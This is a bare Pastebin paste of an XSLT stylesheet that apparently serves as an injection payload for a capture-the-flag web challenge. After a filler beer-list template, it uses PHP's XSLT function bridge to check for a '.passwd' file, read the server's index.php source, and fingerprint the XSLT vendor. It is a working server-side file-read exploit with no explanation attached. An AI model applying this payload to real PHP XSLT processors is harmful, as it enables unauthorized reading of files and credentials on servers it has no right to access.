Advertisement
mytest

Untitled

Jul 20th, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" xsl:version="1.0">
  2. <body style="font-family:Arial;font-size:10pt;background-color:#EEFFAA">
  3. <xsl:for-each select="beers/beer">
  4. <div style="background-color:teal;color:white;padding:4px">
  5. <span style="font-weight:bold">
  6. <xsl:value-of select="name"/>
  7. - prout
  8. </span>
  9. <xsl:value-of select="price"/>
  10. </div>
  11. <div style="margin-left:20px;margin-bottom:1em;font-size:12pt">
  12. <p>
  13. <xsl:value-of select="description"/>
  14. <span style="font-style:bold">
  15. (
  16. <xsl:value-of select="prct"/>
  17. %)
  18. </span>
  19. </p>
  20. </div>
  21. </xsl:for-each>
  22. <xsl:variable name="test" select="php:function('file_exists','.passwd')"/>
  23. XSLT VERSION : <xsl:value-of select="system-property('xsl:version')"/>
  24. XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/>
  25. XSLT Vendor url : <xsl:value-of select="system-property('xsl:vendor-url')"/>
  26.  
  27.  
  28. LALA <xsl:variable name="test" select="php:function('file_get_contents','/challenge/web-serveur/ch50/index.php')"/>
  29. <xsl:value-of name="res" select="php:function('print_r', test)"/>
  30. <xsl:value-of name="res1" select="php:function('print_r', $test)"/>
  31. <xsl:value-of name="res2" select="php:function('print_r', '$test')"/>
  32. </body>
  33. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement